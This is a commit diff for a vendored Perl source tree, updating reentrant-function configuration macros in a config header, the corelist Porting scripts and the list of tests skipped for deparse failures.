+ *	It is zero if d_gethostbyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r
+ *	is defined.
+ */
+/*#define HAS_GETHOSTBYNAME_R	   / **/
+#define GETHOSTBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETHOSTENT_R:
+ *	This symbol, if defined, indicates that the gethostent_r routine
+ *	is available to gethostent re-entrantly.
+ */
+/* GETHOSTENT_R_PROTO:
+ *	This symbol encodes the prototype of gethostent_r.
+ *	It is zero if d_gethostent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r
+ *	is defined.
+ */
+/*#define HAS_GETHOSTENT_R	   / **/
+#define GETHOSTENT_R_PROTO 0	   /**/
+
+/* HAS_GETLOGIN_R:
+ *	This symbol, if defined, indicates that the getlogin_r routine
+ *	is available to getlogin re-entrantly.
+ */
+/* GETLOGIN_R_PROTO:
+ *	This symbol encodes the prototype of getlogin_r.
+ *	It is zero if d_getlogin_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r
+ *	is defined.
+ */
+/*#define HAS_GETLOGIN_R	   / **/
+#define GETLOGIN_R_PROTO 0	   /**/
+
+/* HAS_GETNETBYADDR_R:
+ *	This symbol, if defined, indicates that the getnetbyaddr_r routine
+ *	is available to getnetbyaddr re-entrantly.
+ */
+/* GETNETBYADDR_R_PROTO:
+ *	This symbol encodes the prototype of getnetbyaddr_r.
+ *	It is zero if d_getnetbyaddr_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r
+ *	is defined.
+ */
+/*#define HAS_GETNETBYADDR_R	   / **/
+#define GETNETBYADDR_R_PROTO 0	   /**/
+
+/* HAS_GETNETBYNAME_R:
+ *	This symbol, if defined, indicates that the getnetbyname_r routine
+ *	is available to getnetbyname re-entrantly.
+ */
+/* GETNETBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of getnetbyname_r.
+ *	It is zero if d_getnetbyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r
+ *	is defined.
+ */
+/*#define HAS_GETNETBYNAME_R	   / **/
+#define GETNETBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETNETENT_R:
+ *	This symbol, if defined, indicates that the getnetent_r routine
+ *	is available to getnetent re-entrantly.
+ */
+/* GETNETENT_R_PROTO:
+ *	This symbol encodes the prototype of getnetent_r.
+ *	It is zero if d_getnetent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r
+ *	is defined.
+ */
+/*#define HAS_GETNETENT_R	   / **/
+#define GETNETENT_R_PROTO 0	   /**/
+
+/* HAS_GETPROTOBYNAME_R:
+ *	This symbol, if defined, indicates that the getprotobyname_r routine
+ *	is available to getprotobyname re-entrantly.
+ */
+/* GETPROTOBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of getprotobyname_r.
+ *	It is zero if d_getprotobyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r
+ *	is defined.
+ */
+/*#define HAS_GETPROTOBYNAME_R	   / **/
+#define GETPROTOBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETPROTOBYNUMBER_R:
+ *	This symbol, if defined, indicates that the getprotobynumber_r routine
+ *	is available to getprotobynumber re-entrantly.
+ */
+/* GETPROTOBYNUMBER_R_PROTO:
+ *	This symbol encodes the prototype of getprotobynumber_r.
+ *	It is zero if d_getprotobynumber_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r
+ *	is defined.
+ */
+/*#define HAS_GETPROTOBYNUMBER_R	   / **/
+#define GETPROTOBYNUMBER_R_PROTO 0	   /**/
+
+/* HAS_GETPROTOENT_R:
+ *	This symbol, if defined, indicates that the getprotoent_r routine
+ *	is available to getprotoent re-entrantly.
+ */
+/* GETPROTOENT_R_PROTO:
+ *	This symbol encodes the prototype of getprotoent_r.
+ *	It is zero if d_getprotoent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r
+ *	is defined.
+ */
+/*#define HAS_GETPROTOENT_R	   / **/
+#define GETPROTOENT_R_PROTO 0	   /**/
+
+/* HAS_GETPWENT_R:
+ *	This symbol, if defined, indicates that the getpwent_r routine
+ *	is available to getpwent re-entrantly.
+ */
+/* GETPWENT_R_PROTO:
+ *	This symbol encodes the prototype of getpwent_r.
+ *	It is zero if d_getpwent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r
+ *	is defined.
+ */
+/*#define HAS_GETPWENT_R	   / **/
+#define GETPWENT_R_PROTO 0	   /**/
+
+/* HAS_GETPWNAM_R:
+ *	This symbol, if defined, indicates that the getpwnam_r routine
+ *	is available to getpwnam re-entrantly.
+ */
+/* GETPWNAM_R_PROTO:
+ *	This symbol encodes the prototype of getpwnam_r.
+ *	It is zero if d_getpwnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r
+ *	is defined.
+ */
+/*#define HAS_GETPWNAM_R	   / **/
+#define GETPWNAM_R_PROTO 0	   /**/
+
+/* HAS_GETPWUID_R:
+ *	This symbol, if defined, indicates that the getpwuid_r routine
+ *	is available to getpwuid re-entrantly.
+ */
+/* GETPWUID_R_PROTO:
+ *	This symbol encodes the prototype of getpwuid_r.
+ *	It is zero if d_getpwuid_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r
+ *	is defined.
+ */
+/*#define HAS_GETPWUID_R	   / **/
+#define GETPWUID_R_PROTO 0	   /**/
+
+/* HAS_GETSERVBYNAME_R:
+ *	This symbol, if defined, indicates that the getservbyname_r routine
+ *	is available to getservbyname re-entrantly.
+ */
+/* GETSERVBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of getservbyname_r.
+ *	It is zero if d_getservbyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r
+ *	is defined.
+ */
+/*#define HAS_GETSERVBYNAME_R	   / **/
+#define GETSERVBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETSERVBYPORT_R:
+ *	This symbol, if defined, indicates that the getservbyport_r routine
+ *	is available to getservbyport re-entrantly.
+ */
+/* GETSERVBYPORT_R_PROTO:
+ *	This symbol encodes the prototype of getservbyport_r.
+ *	It is zero if d_getservbyport_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r
+ *	is defined.
+ */
+/*#define HAS_GETSERVBYPORT_R	   / **/
+#define GETSERVBYPORT_R_PROTO 0	   /**/
+
+/* HAS_GETSERVENT_R:
+ *	This symbol, if defined, indicates that the getservent_r routine
+ *	is available to getservent re-entrantly.
+ */
+/* GETSERVENT_R_PROTO:
+ *	This symbol encodes the prototype of getservent_r.
+ *	It is zero if d_getservent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r
+ *	is defined.
+ */
+/*#define HAS_GETSERVENT_R	   / **/
+#define GETSERVENT_R_PROTO 0	   /**/
+
+/* HAS_GETSPNAM_R:
+ *	This symbol, if defined, indicates that the getspnam_r routine
+ *	is available to getspnam re-entrantly.
+ */
+/* GETSPNAM_R_PROTO:
+ *	This symbol encodes the prototype of getspnam_r.
+ *	It is zero if d_getspnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r
+ *	is defined.
+ */
+/*#define HAS_GETSPNAM_R	   / **/
+#define GETSPNAM_R_PROTO 0	   /**/
+
+/* HAS_GMTIME_R:
+ *	This symbol, if defined, indicates that the gmtime_r routine
+ *	is available to gmtime re-entrantly.
+ */
+/* GMTIME_R_PROTO:
+ *	This symbol encodes the prototype of gmtime_r.
+ *	It is zero if d_gmtime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r
+ *	is defined.
+ */
+/*#define HAS_GMTIME_R	   / **/
+#define GMTIME_R_PROTO 0	   /**/
+
+/* HAS_LOCALECONV_L:
+ *	This symbol, if defined, indicates that the localeconv_l routine is
+ *	available to query certain information about a locale.
+ */
+/*#define HAS_LOCALECONV_L		/ **/
+
+/* HAS_LOCALTIME_R:
+ *	This symbol, if defined, indicates that the localtime_r routine
+ *	is available to localtime re-entrantly.
+ */
+/* LOCALTIME_R_NEEDS_TZSET:
+ *	Many libc's localtime_r implementations do not call tzset,
+ *	making them differ from localtime(), and making timezone
+ *	changes using $ENV{TZ} without explicitly calling tzset
+ *	impossible. This symbol makes us call tzset before localtime_r
+ */
+/*#define LOCALTIME_R_NEEDS_TZSET / **/
+#ifdef LOCALTIME_R_NEEDS_TZSET
+#define L_R_TZSET tzset(),
+#else
+#define L_R_TZSET
+#endif
+
+/* LOCALTIME_R_PROTO:
+ *	This symbol encodes the prototype of localtime_r.
+ *	It is zero if d_localtime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r
+ *	is defined.
+ */
+/*#define HAS_LOCALTIME_R	   / **/
+#define LOCALTIME_R_PROTO 0	   /**/
+
+/* HAS_MBRLEN:
+ *	This symbol, if defined, indicates that the mbrlen routine is
+ *	available to get the length of multi-byte character strings.
+ */
+#define HAS_MBRLEN	/**/
+
+/* HAS_MBRTOWC:
+ *	This symbol, if defined, indicates that the mbrtowc routine is
+ *	available to convert a multi-byte character into a wide character.
+ */
+#define HAS_MBRTOWC	/**/
+
+/* HAS_THREAD_SAFE_NL_LANGINFO_L:
+ *	This symbol, when defined, indicates presence of the nl_langinfo_l()
+ *	function, and that it is thread-safe.
+ */
+/*#define HAS_THREAD_SAFE_NL_LANGINFO_L	/ **/
+
+/* OLD_PTHREAD_CREATE_JOINABLE:
+ *	This symbol, if defined, indicates how to create pthread
+ *	in joinable (aka undetached) state.  NOTE: not defined
+ *	if pthread.h already has defined PTHREAD_CREATE_JOINABLE
+ *	(the new version of the constant).
+ *	If defined, known values are PTHREAD_CREATE_UNDETACHED
+ *	and __UNDETACHED.
+ */
+/*#define OLD_PTHREAD_CREATE_JOINABLE  / **/
+
+/* HAS_PTHREAD_ATFORK:
+ *	This symbol, if defined, indicates that the pthread_atfork routine
+ *	is available to setup fork handlers.
+ */
+#define HAS_PTHREAD_ATFORK		/**/
+
+/* HAS_PTHREAD_YIELD:
+ *	This symbol, if defined, indicates that the pthread_yield
+ *	routine is available to yield the execution of the current
+ *	thread.	 sched_yield is preferable to pthread_yield.
+ */
+/* SCHED_YIELD:
+ *	This symbol defines the way to yield the execution of
+ *	the current thread.  Known ways are sched_yield,
+ *	pthread_yield, and pthread_yield with NULL.
+ */
+/* HAS_SCHED_YIELD:
+ *	This symbol, if defined, indicates that the sched_yield
+ *	routine is available to yield the execution of the current
+ *	thread.	 sched_yield is preferable to pthread_yield.
+ */
+#define HAS_PTHREAD_YIELD	/**/
+#define SCHED_YIELD	sched_yield()	/**/
+#define HAS_SCHED_YIELD	/**/
+
+/* HAS_RANDOM_R:
+ *	This symbol, if defined, indicates that the random_r routine
+ *	is available to random re-entrantly.
+ */
+/* RANDOM_R_PROTO:
+ *	This symbol encodes the prototype of random_r.
+ *	It is zero if d_random_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r
+ *	is defined.
+ */
+/*#define HAS_RANDOM_R	   / **/
+#define RANDOM_R_PROTO 0	   /**/
+
+/* HAS_READDIR64_R:
+ *	This symbol, if defined, indicates that the readdir64_r routine
+ *	is available to readdir64 re-entrantly.
+ */
+/* READDIR64_R_PROTO:
+ *	This symbol encodes the prototype of readdir64_r.
+ *	It is zero if d_readdir64_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r
+ *	is defined.
+ */
+/*#define HAS_READDIR64_R	   / **/
+#define READDIR64_R_PROTO 0	   /**/
+
+/* HAS_READDIR_R:
+ *	This symbol, if defined, indicates that the readdir_r routine
+ *	is available to readdir re-entrantly.
+ */
+/* READDIR_R_PROTO:
+ *	This symbol encodes the prototype of readdir_r.
+ *	It is zero if d_readdir_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r
+ *	is defined.
+ */
+/*#define HAS_READDIR_R	   / **/
+#define READDIR_R_PROTO 0	   /**/
+
+/* HAS_SETGRENT_R:
+ *	This symbol, if defined, indicates that the setgrent_r routine
+ *	is available to setgrent re-entrantly.
+ */
+/* SETGRENT_R_PROTO:
+ *	This symbol encodes the prototype of setgrent_r.
+ *	It is zero if d_setgrent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r
+ *	is defined.
+ */
+/*#define HAS_SETGRENT_R	   / **/
+#define SETGRENT_R_PROTO 0	   /**/
+
+/* HAS_SETHOSTENT_R:
+ *	This symbol, if defined, indicates that the sethostent_r routine
+ *	is available to sethostent re-entrantly.
+ */
+/* SETHOSTENT_R_PROTO:
+ *	This symbol encodes the prototype of sethostent_r.
+ *	It is zero if d_sethostent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r
+ *	is defined.
+ */
+/*#define HAS_SETHOSTENT_R	   / **/
+#define SETHOSTENT_R_PROTO 0	   /**/
+
+/* HAS_SETLOCALE_R:
+ *	This symbol, if defined, indicates that the setlocale_r routine
+ *	is available to setlocale re-entrantly.
+ */
+/* SETLOCALE_R_PROTO:
+ *	This symbol encodes the prototype of setlocale_r.
+ *	It is zero if d_setlocale_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r
+ *	is defined.
+ */
+/*#define HAS_SETLOCALE_R	   / **/
+#define SETLOCALE_R_PROTO 0	   /**/
+
+/* HAS_SETNETENT_R:
+ *	This symbol, if defined, indicates that the setnetent_r routine
+ *	is available to setnetent re-entrantly.
+ */
+/* SETNETENT_R_PROTO:
+ *	This symbol encodes the prototype of setnetent_r.
+ *	It is zero if d_setnetent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r
+ *	is defined.
+ */
+/*#define HAS_SETNETENT_R	   / **/
+#define SETNETENT_R_PROTO 0	   /**/
+
+/* HAS_SETPROTOENT_R:
+ *	This symbol, if defined, indicates that the setprotoent_r routine
+ *	is available to setprotoent re-entrantly.
+ */
+/* SETPROTOENT_R_PROTO:
+ *	This symbol encodes the prototype of setprotoent_r.
+ *	It is zero if d_setprotoent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r
+ *	is defined.
+ */
+/*#define HAS_SETPROTOENT_R	   / **/
+#define SETPROTOENT_R_PROTO 0	   /**/
+
+/* HAS_SETPWENT_R:
+ *	This symbol, if defined, indicates that the setpwent_r routine
+ *	is available to setpwent re-entrantly.
+ */
+/* SETPWENT_R_PROTO:
+ *	This symbol encodes the prototype of setpwent_r.
+ *	It is zero if d_setpwent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r
+ *	is defined.
+ */
+/*#define HAS_SETPWENT_R	   / **/
+#define SETPWENT_R_PROTO 0	   /**/
+
+/* HAS_SETSERVENT_R:
+ *	This symbol, if defined, indicates that the setservent_r routine
+ *	is available to setservent re-entrantly.
+ */
+/* SETSERVENT_R_PROTO:
+ *	This symbol encodes the prototype of setservent_r.
+ *	It is zero if d_setservent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r
+ *	is defined.
+ */
+/*#define HAS_SETSERVENT_R	   / **/
+#define SETSERVENT_R_PROTO 0	   /**/
+
+/* HAS_SRAND48_R:
+ *	This symbol, if defined, indicates that the srand48_r routine
+ *	is available to srand48 re-entrantly.
+ */
+/* SRAND48_R_PROTO:
+ *	This symbol encodes the prototype of srand48_r.
+ *	It is zero if d_srand48_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r
+ *	is defined.
+ */
+/*#define HAS_SRAND48_R	   / **/
+#define SRAND48_R_PROTO 0	   /**/
+
+/* HAS_SRANDOM_R:
+ *	This symbol, if defined, indicates that the srandom_r routine
+ *	is available to srandom re-entrantly.
+ */
+/* SRANDOM_R_PROTO:
+ *	This symbol encodes the prototype of srandom_r.
+ *	It is zero if d_srandom_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r
+ *	is defined.
+ */
+/*#define HAS_SRANDOM_R	   / **/
+#define SRANDOM_R_PROTO 0	   /**/
+
+/* HAS_STRERROR_R:
+ *	This symbol, if defined, indicates that the strerror_r routine
+ *	is available to strerror re-entrantly.
+ */
+/* STRERROR_R_PROTO:
+ *	This symbol encodes the prototype of strerror_r.
+ *	It is zero if d_strerror_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r
+ *	is defined.
+ */
+/*#define HAS_STRERROR_R	   / **/
+#define STRERROR_R_PROTO 0	   /**/
+
+/* HAS_STRTOLD_L:
+ *	This symbol, if defined, indicates that the strtold_l routine is
+ *	available to convert strings to long doubles.
+ */
+#define HAS_STRTOLD_L		/**/
+
+/* HAS_TMPNAM_R:
+ *	This symbol, if defined, indicates that the tmpnam_r routine
+ *	is available to tmpnam re-entrantly.
+ */
+/* TMPNAM_R_PROTO:
+ *	This symbol encodes the prototype of tmpnam_r.
+ *	It is zero if d_tmpnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r
+ *	is defined.
+ */
+/*#define HAS_TMPNAM_R	   / **/
+#define TMPNAM_R_PROTO 0	   /**/
+
+/* HAS_TTYNAME_R:
+ *	This symbol, if defined, indicates that the ttyname_r routine
+ *	is available to ttyname re-entrantly.
+ */
+/* TTYNAME_R_PROTO:
+ *	This symbol encodes the prototype of ttyname_r.
+ *	It is zero if d_ttyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r
+ *	is defined.
+ */
+/*#define HAS_TTYNAME_R	   / **/
+#define TTYNAME_R_PROTO 0	   /**/
+
+/* I_MACH_CTHREADS:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <mach/cthreads.h>.
+ */
+/*#define   I_MACH_CTHREADS	/ **/
+
+/* I_PTHREAD:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <pthread.h>.
+ */
+#define   I_PTHREAD	/**/
+
+/* USE_ITHREADS:
+ *	This symbol, if defined, indicates that Perl should be built to
+ *	use the interpreter-based threading implementation.
+ */
+/* USE_5005THREADS:
+ *	This symbol, if defined, indicates that Perl should be built to
+ *	use the 5.005-based threading implementation.
+ *	Only valid up to 5.8.x.
+ */
+/* OLD_PTHREADS_API:
+ *	This symbol, if defined, indicates that Perl should
+ *	be built to use the old draft POSIX threads API.
+ */
+/* USE_REENTRANT_API:
+ *	This symbol, if defined, indicates that Perl should
+ *	try to use the various _r versions of library functions.
+ *	This is extremely experimental.
+ */
+/*#define	USE_5005THREADS		/ **/
+/*#define	USE_ITHREADS		/ **/
+#if defined(USE_5005THREADS) && !defined(USE_ITHREADS)
+#define		USE_THREADS		/* until src is revised*/
+#endif
+/*#define	OLD_PTHREADS_API		/ **/
+/*#define	USE_REENTRANT_API	/ **/
+
 /* HAS_TIME:
  *	This symbol, if defined, indicates that the time() routine exists.
  */
@@ -4518,10 +5132,10 @@
 /* Gid_t_f:
  *	This symbol defines the format string used for printing a Gid_t.
  */
-#define	Gid_t_f		"lu"		/**/
+#define	Gid_t_f		"u"		/**/
 
 /* Gid_t_sign:
- *	This symbol holds the signedess of a Gid_t.
+ *	This symbol holds the signedness of a Gid_t.
  *	1 for unsigned, -1 for signed.
  */
 #define Gid_t_sign	1		/* GID sign */
@@ -4573,7 +5187,7 @@
 /* Size_t_size:
  *	This symbol holds the size of a Size_t in bytes.
  */
-#define Size_t_size 4		/* */
+#define Size_t_size 8		/**/
 
 /* Size_t:
  *	This symbol holds the type used to declare length parameters
@@ -4586,10 +5200,10 @@
 /* Uid_t_f:
  *	This symbol defines the format string used for printing a Uid_t.
  */
-#define	Uid_t_f		"lu"		/**/
+#define	Uid_t_f		"u"		/**/
 
 /* Uid_t_sign:
- *	This symbol holds the signedess of a Uid_t.
+ *	This symbol holds the signedness of a Uid_t.
  *	1 for unsigned, -1 for signed.
  */
 #define Uid_t_sign	1		/* UID sign */

Modified: vendor/perl/dist/Porting/corelist-perldelta.pl
===================================================================
--- vendor/perl/dist/Porting/corelist-perldelta.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/corelist-perldelta.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -162,11 +162,18 @@
   my %distToModules = (
     'IO-Compress' => [
       {
-        'name' => 'IO-Compress',
+        'name'         => 'IO-Compress',
         'modification' => $getModifyType->( $changes{'IO::Compress::Base'} ),
-        'data' => $changes{'IO::Compress::Base'}
+        'data'         => $changes{'IO::Compress::Base'}
       }
     ],
+    'libnet' => [
+      {
+        'name'         => 'libnet',
+        'modification' => $getModifyType->( $changes{'Net::Cmd'} ),
+        'data'         => $changes{'Net::Cmd'}
+      }
+    ],
     'Locale-Codes' => [
       {
         'name'         => 'Locale::Codes',
@@ -181,6 +188,13 @@
         'data'         => $changes{'Cwd'}
       }
     ],
+    'podlators' => [
+      {
+        'name'         => 'podlators',
+        'modification' => $getModifyType->( $changes{'Pod::Text'} ),
+        'data'         => $changes{'Pod::Text'}
+      }
+    ],
     'Scalar-List-Utils' => [
       {
         'name'         => 'List::Util',
@@ -191,6 +205,11 @@
         'name'         => 'Scalar::Util',
         'modification' => $getModifyType->( $changes{'Scalar::Util'} ),
         'data'         => $changes{'Scalar::Util'}
+      },
+      {
+        'name'         => 'Sub::Util',
+        'modification' => $getModifyType->( $changes{'Sub::Util'} ),
+        'data'         => $changes{'Sub::Util'}
       }
     ],
     'Text-Tabs+Wrap' => [
@@ -270,7 +289,7 @@
   my ( $existing, $old, $new ) = @_;
 
   my ( $added, $removed, $updated, $manuallyCheck ) = corelist_delta( $old => $new );
-  if ($manuallyCheck) {
+  if (@{$manuallyCheck}) {
     print "It cannot be determined whether the following distributions have changed.\n";
     print "Please check and list accordingly:\n";
     say "\t* $_" for sort @{$manuallyCheck};

Modified: vendor/perl/dist/Porting/corelist.pl
===================================================================
--- vendor/perl/dist/Porting/corelist.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/corelist.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -98,6 +98,7 @@
     sub {
         /(\.pm|_pm\.PL)$/ or return;
         /PPPort\.pm$/ and return;
+        /__Storable__\.pm$/ and return;
         my $module = $File::Find::name;
         $module =~ /\b(demo|t|private|corpus)\b/ and return;    # demo or test modules
         my $version = MM->parse_version($_);

Modified: vendor/perl/dist/Porting/deparse-skips.txt
===================================================================
--- vendor/perl/dist/Porting/deparse-skips.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/deparse-skips.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,31 +31,79 @@
 
 __DEPARSE_FAILURES__
 
-../cpan/Scalar-List-Utils/t/proto.t
-../cpan/Term-ANSIColor/t/taint/basic.t
-../cpan/autodie/t/internal.t
-../cpan/AutoLoader/t/01AutoLoader.t
-../cpan/CGI/t/utf8.t
-../cpan/ExtUtils-MakeMaker/t/xs.t
-../cpan/File-Path/t/taint.t
-../cpan/Module-Build/t/manifypods_with_utf8.t
-../cpan/Socket/t/sockaddr.t
-../cpan/Term-ANSIColor/t/taint.t
-../cpan/Test-Simple/t/Builder/carp.t
-../cpan/Test-Simple/t/fail-more.t
-../cpan/Test-Simple/t/is_deeply_fail.t
-../cpan/Test-Simple/t/plan.t
-../cpan/Test-Simple/t/plan_bad.t
-../cpan/Test-Simple/t/subtest/line_numbers.t
-../cpan/Test-Simple/t/subtest/predicate.t
-../cpan/autodie/t/00-load.t
+base/lex.t                # checks regexp stringification
+comp/final_line_num.t     # tests syntax error after BEGIN block
+comp/fold.t               # mutability of folded constants
+comp/parser.t             # crazy #line directives ==> shell syntax errors
+mro/basic_01_c3_utf8.t
+mro/basic_01_dfs_utf8.t
+mro/complex_c3_utf8.t
+mro/isarev.t
+mro/isarev_utf8.t
+op/attrhand.t             # Custom attrs ignored; also AH provides none
+op/caller.t
+op/each.t                 # utf8ness of deparsed strings
+op/goto.t
+op/gv.t                   # glob copy constants
+op/hexfp.t
+op/index.t
+op/join.t                 # mutability of folded constants
+op/length.t               # utf8ness of deparsed strings
+op/lexsub.t
+op/local.t
+op/lvref.t
+op/not.t
+op/overload_integer.t
+op/override.t
+op/pack.t
+op/postfixderef.t
+op/range.t
+op/readline.t
+op/srand.t
+op/sub_lval.t
+op/sub.t
+op/switch.t
+op/symbolcache.t
+op/taint.t
+op/vec.t
+op/warn.t
+op/write.t
+porting/globvar.t
+re/overload.t             # [perl #123385] %^H output
+re/pat_advanced.t         # [perl #123417]
+re/pat_rt_report.t        # malformed utf8 constant; also /\c@/ -> /\c\@/
+re/pat.t                  # [perl #90590]
+re/regexp_unicode_prop.t
+re/regex_sets.t
+re/reg_fold.t             # [perl #123385] %^H output
+re/rxcode.t               # checks regexp stringification
+re/subst.t
+run/switchd-78586.t       # -I on #! line is not deparsed
+run/switchI.t             # -I on #! line is not deparsed
+uni/attrs.t
+uni/bless.t
+uni/gv.t
+uni/labels.t
+uni/lex_utf8.t
+uni/method.t
+uni/package.t
+uni/parser.t
+uni/readline.t
+uni/select.t
+uni/stash.t
+uni/tie.t
+uni/universal.t
+uni/variables.t
+../cpan/Archive-Tar/t/03_file.t         # constant sub ref: FOO->()
 ../cpan/autodie/t/autodie.t
+../cpan/autodie/t/basic_exceptions.t
+../cpan/autodie/t/binmode.t
 ../cpan/autodie/t/blog_hints.t
 ../cpan/autodie/t/caller.t
 ../cpan/autodie/t/chmod.t
 ../cpan/autodie/t/chown.t
+../cpan/autodie/t/context_lexical.t
 ../cpan/autodie/t/context.t
-../cpan/autodie/t/context_lexical.t
 ../cpan/autodie/t/crickey.t
 ../cpan/autodie/t/dbmopen.t
 ../cpan/autodie/t/eval_error.t
@@ -63,80 +111,82 @@
 ../cpan/autodie/t/exceptions.t
 ../cpan/autodie/t/exec.t
 ../cpan/autodie/t/filehandles.t
-../cpan/autodie/t/hints.t
+../cpan/autodie/t/fileno.t
 ../cpan/autodie/t/hints_insist.t
 ../cpan/autodie/t/hints_pod_examples.t
 ../cpan/autodie/t/hints_provider_does.t
 ../cpan/autodie/t/hints_provider_easy_does_it.t
 ../cpan/autodie/t/hints_provider_isa.t
+../cpan/autodie/t/hints.t
+../cpan/autodie/t/internal.t
 ../cpan/autodie/t/kill.t
 ../cpan/autodie/t/lethal.t
+../cpan/autodie/t/mkdir.t
 ../cpan/autodie/t/open.t
+../cpan/autodie/t/read.t
 ../cpan/autodie/t/recv.t
 ../cpan/autodie/t/repeat.t
 ../cpan/autodie/t/scope_leak.t
 ../cpan/autodie/t/sysopen.t
+../cpan/autodie/t/truncate.t
+../cpan/autodie/t/unlink.t
 ../cpan/autodie/t/user-context.t
 ../cpan/autodie/t/usersub.t
 ../cpan/autodie/t/utf8_open.t
 ../cpan/autodie/t/utime.t
 ../cpan/autodie/t/version_tag.t
-../cpan/podlators/t/basic.t
+../cpan/AutoLoader/t/01AutoLoader.t
+../cpan/bignum/t/big_e_pi.t
+../cpan/bignum/t/bigexp.t
+../cpan/bignum/t/bigint.t
+../cpan/bignum/t/bignum.t
+../cpan/bignum/t/bigrat.t
+../cpan/bignum/t/bii_e_pi.t
+../cpan/bignum/t/biinfnan.t
+../cpan/bignum/t/bir_e_pi.t
+../cpan/bignum/t/bninfnan.t
+../cpan/bignum/t/brinfnan.t
+../cpan/bignum/t/in_effect.t
+../cpan/bignum/t/option_a.t
+../cpan/bignum/t/option_l.t
+../cpan/bignum/t/option_p.t
+../cpan/bignum/t/overrides.t
+../cpan/bignum/t/ratopt_a.t
+../cpan/bignum/t/scope_f.t
+../cpan/bignum/t/scope_i.t
+../cpan/bignum/t/scope_r.t
+../cpan/Math-BigInt/t/constant.t
+../cpan/Math-BigInt/t/const_mbf.t
+../cpan/Module-Metadata/t/metadata.t
+../cpan/Scalar-List-Utils/t/subname.t
+../cpan/Scalar-List-Utils/t/uniq.t
+../cpan/Term-Cap/test.pl
+../cpan/Test-Simple/t/Legacy/Builder/carp.t
+../cpan/Test-Simple/t/Legacy/fail-more.t
+../cpan/Test-Simple/t/Legacy/is_deeply_fail.t
+../cpan/Test-Simple/t/Legacy/no_plan.t         # hard-coded line numbers
+../cpan/Test-Simple/t/Legacy/plan_bad.t
+../cpan/Test-Simple/t/Legacy/plan.t
+../cpan/Test-Simple/t/Legacy/subtest/line_numbers.t
+../cpan/Test-Simple/t/Legacy/subtest/predicate.t
+../cpan/Test-Simple/t/regression/684-nested_todo_diag.t
+../cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t
 ../dist/Attribute-Handlers/t/constants.t
 ../dist/Attribute-Handlers/t/data_convert.t
 ../dist/Attribute-Handlers/t/linerep.t
 ../dist/Attribute-Handlers/t/multi.t
 ../dist/Carp/t/Carp.t
+../dist/constant/t/constant.t
 ../dist/Data-Dumper/t/dumper.t
+../dist/Data-Dumper/t/trailing_comma.t
 ../dist/Exporter/t/Exporter.t
 ../dist/Filter-Simple/t/data.t
-../dist/IO/t/io_file_export.t
-../dist/IO/t/io_multihomed.t
-../dist/IO/t/io_sel.t
-../dist/IO/t/io_udp.t
